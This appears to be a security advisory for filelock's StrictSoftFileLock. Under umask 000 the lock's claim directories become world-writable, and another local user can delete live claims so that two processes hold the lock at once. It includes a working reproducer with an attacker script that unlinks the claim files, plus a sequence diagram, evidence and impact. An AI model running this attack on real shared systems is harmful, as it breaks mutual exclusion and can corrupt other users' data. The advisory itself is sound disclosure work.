Details
The other user's action is a plain unlink. The right to do it comes from filelock's mkdir, not from anything the application asked for. In the same setting the other user can neither read nor remove the 0600 sentinel in the sticky parent. With the common umask 022 and no default ACL the directories are 0755. Other users can then list the claim names, which mode=0o600 does not suggest either, but cannot remove them, and the second process times out.
Reproduction
The scanner's reproducer for finding ANT-2026-AD6SUOON, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
`repro`
#!/usr/bin/env python3
import os
import pwd
import shutil
import stat
import subprocess
import sys
import tempfile
AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": [], "text": True}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": [], "text": True}
def start_victim_service(lock_path, umask):
command = [sys.executable, "/tmp/repro.d/victim_service.py", lock_path]
return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)
def hold_lock_while_attacker_strikes(label, shared, victim_umask):
lock_path = f"{shared}/umask{victim_umask:03o}.lock"
claims = f"{lock_path}.filelock/claims"
first = start_victim_service(lock_path, victim_umask)
assert first.stdout.readline() == "entered\n"
claim_files = [f"{claims}/{name}" for name in sorted(os.listdir(claims))]
for path in (lock_path, f"{lock_path}.filelock", claims, *claim_files):
status = os.lstat(path)
owner = pwd.getpwuid(status.st_uid).pw_name
print(f"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}")
# attack, while the first victim process is inside its critical section
attacker = subprocess.run(
[sys.executable, "/tmp/repro.d/attacker_remove_claims.py", lock_path],
stdout=subprocess.PIPE,
check=True,
**AS_ATTACKER,
)
for line in attacker.stdout.splitlines():
print(f"{label}: attacker: {line}")
claims_left = len(os.listdir(claims))
print(f"{label}: claims left: {claims_left}")
second = start_victim_service(lock_path, victim_umask)
second_says = second.stdout.readline().strip()
# the first is told to leave only after the second has answered, so an "entered" means both were inside at once
first_says = first.communicate("leave\n")[0].strip()
second.communicate("leave\n")
print(f"{label}: second process: {second_says}")
print(f"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}")
both_inside = second_says == "entered" and first_says == "leaving, is_locked=True" and first.returncode == 0
return claims_left, both_inside
# set up: a shared directory like /tmp, sticky and writable by everyone
shared = tempfile.mkdtemp(prefix="strict-mode-", dir="/tmp")
os.chmod(shared, 0o1777)
# the two rounds differ only in the umask the victim's processes run with
control_claims_left, control_both_inside = hold_lock_while_attacker_strikes("CONTROL umask 022", shared, 0o022)
attack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes("OBSERVED umask 000", shared, 0o000)
shutil.rmtree(shared)
# check: with mode=0o600, another user must not be able to let a second process in beside the first
print(f"CONTROL two holders at once: {control_both_inside}")
print(f"OBSERVED two holders at once: {attack_both_inside}")
control_excludes = control_claims_left == 2 and not control_both_inside
print("BUG" if control_excludes and attack_claims_left == 0 and attack_both_inside else "OK")
`repro.d/attacker_remove_claims.py`
import os
import sys
claims = f"{sys.argv[1]}.filelock/claims"
try:
names = sorted(os.listdir(claims))
except PermissionError:
print("listing denied")
names = []
for name in names:
try:
os.unlink(f"{claims}/{name}")
print(f"unlinked {name}")
except PermissionError:
print(f"unlink denied {name}")
`repro.d/victim_service.py`
import sys
from filelock import StrictSoftFileLock, Timeout
lock = StrictSoftFileLock(sys.argv[1], mode=0o600)
try:
with lock.acquire(timeout=2):
print("entered", flush=True)
sys.stdin.readline() # stay in the critical section until told to leave
print(f"leaving, is_locked={lock.is_locked}", flush=True)
except Timeout:
print("Timeout", flush=True)
Attack sequence
sequenceDiagram
participant H as holder (umask 000, mode=0o600)
participant D as x.lock.filelock/claims
participant X as other local user
participant C as contender (same account as the holder)
H->>D: mkdir() both directories: 0777, claims 0600
H->>D: publish intent and held claims, enter
X->>D: read claim: EACCES (0600)
rect rgb(255, 214, 214)
X->>D: unlink both claims (directory is 0777, not sticky)
C->>D: acquire(): scan finds no claims, publishes, enters
Note over H,C: both inside at once
H->>D: release(): claims missing, counted as removed, exit status 0
end
Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout
Evidence
The scanner's reproducer runs the holder's StrictSoftFileLock(path, mode=0o600) with timeout=2 as account victim (uid 1000) and the unlink loop as account attacker (uid 1001). Both run in a fresh root-owned 1777 directory under /tmp, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.
Under CONTROL umask 022, the directories are 0755, the kernel denies the unlinks, both claims remain, and the second process prints Timeout. Under OBSERVED umask 000, every file is still 0600 but <path>.filelock and claims/ are 0777. The other account prints unlinked held-v1-<token>.claim and unlinked intent-v1-<token>.claim followed by claims left: 0. The second process prints entered. The first process prints leaving, is_locked=True, exit status 0 when asked afterwards. The verdict lines read CONTROL two holders at once: False and OBSERVED two holders at once: True; the overall verdict is BUG. The scanner ran the umask 002 and default-ACL rows of the table by hand at the same commit with the same result.
Our review ran the reproducer against the 4.2.0 release image and the scanned commit (BUG on both) and against the head of #839 (OK). The review's regression test covers the owner, group-read and group-write modes.
Impact
Another local user who gets a write bit on the claim directories ends a live StrictSoftFileLock hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the 0600 claim files stay unreadable), and it does not affect holders whose directories came out 0755 or tighter.